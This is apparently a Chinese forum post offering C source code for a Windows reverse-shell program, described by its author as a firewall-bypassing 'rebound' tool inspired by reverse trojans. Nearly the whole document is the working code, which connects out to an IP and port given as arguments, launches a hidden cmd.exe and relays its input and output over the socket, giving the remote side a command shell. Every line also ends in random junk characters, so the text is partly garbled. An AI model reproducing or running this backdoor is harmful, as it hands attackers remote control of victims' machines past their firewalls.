这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6(uK5eD(!n
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/* ============================== CZL:&~l1
Rebound port in Windows NT s]z-d!G
By wind,2006/7 SsE8;IGH
===============================*/ 39(]UO6^;
#include "\9!9U#!
#include d!i#@XZ^
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#pragma comment(lib,"wsock32.lib") [j]3='2}G
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void OutputShell(); E8=8OX/{Y
SOCKET sClient; Gcseq
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :"4Pr/}rT
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void main(int argc,char **argv) ?4 fXCb]7
{ NlS/PWc6(
WSADATA stWsaData; ,#FK3;U
int nRet; }bxW@(bs
SOCKADDR_IN stSaiClient,stSaiServer; 8;C_@
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if(argc != 3) F.0CJ7s
{ 30fsVwE2
printf("Useage:\n\rRebound DestIP DestPort\n"); 23AMrDF=N
return; dMnJ)R
} ?Q]{P]
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,r-l^I3<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H8g1S MT
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stSaiClient.sin_family = AF_INET; 5D32d1A
stSaiClient.sin_port = htons(0); nCz_gYcIx
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ` 5.PPI\h2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) cCoa3U/
{ ]H4T80wm&
printf("Bind Socket Failed!\n"); 0~5'O[NhF
return; ?x|8"*N
} EN =oA P
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stSaiServer.sin_family = AF_INET; ;%_fQNFb
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,(6U3W*bu
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l<]@5"wN
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) LXIQpD,M
{ cnUYhxE+s
printf("Connect Error!"); 8$H_:*A?
return; FM)Es&p&
} YB^[HE\#y
OutputShell(); gdu8O!9)
} TfYXF`d
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void OutputShell() }T}9AQ}|
{ <9]9;
char szBuff[1024]; 8KQ]3Z9p
SECURITY_ATTRIBUTES stSecurityAttributes; us2X:X)
OSVERSIONINFO stOsversionInfo; 'n9<z)/,!
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u7oHqo`
STARTUPINFO stStartupInfo; dsx'l0q 'i
char *szShell; VZ`L-P$AF
PROCESS_INFORMATION stProcessInformation; I?l%RdGW
unsigned long lBytesRead; Jv|uI1V
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a5v}w7vL
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aP%2CP~_ P
stSecurityAttributes.lpSecurityDescriptor = 0; rHir>
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stSecurityAttributes.bInheritHandle = TRUE; XQW+6LEQ
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dc.o K4G}
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :Kl~hzVSOa
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jb!R
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Kd?TIeF E
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G\y: O9(
stStartupInfo.wShowWindow = SW_HIDE; qH3|x08
stStartupInfo.hStdInput = hReadPipe; S}/?Lm}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?Mb'l4
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GetVersionEx(&stOsversionInfo); L"w% ew
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switch(stOsversionInfo.dwPlatformId) '.sS"QdN
{ I.f)rMl+h
case 1: +J^-B}v
szShell = "command.com"; e;y\v/A
break; yEnurq%J
default: lzQmD/i*
szShell = "cmd.exe"; . C g2Y
break; 1keH 1[
} JF%eC}[d
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D;pfogK @
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send(sClient,szMsg,77,0); v&hQ;v
while(1) YceX)
{ h}X^
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); R. sRH/6
if(lBytesRead) {9tKq--@E9
{ 2;Ij~~
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F__j]}?
send(sClient,szBuff,lBytesRead,0); 7q>Y)*V
} @l7~Zn
else HA?<j|M
{ b
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lBytesRead=recv(sClient,szBuff,1024,0); 7~2b4"&
if(lBytesRead<=0) break; (vq0Gl
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i?.7o*w8
} IXm}WTgF!
} y;)j
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return; W6_~.m"b
}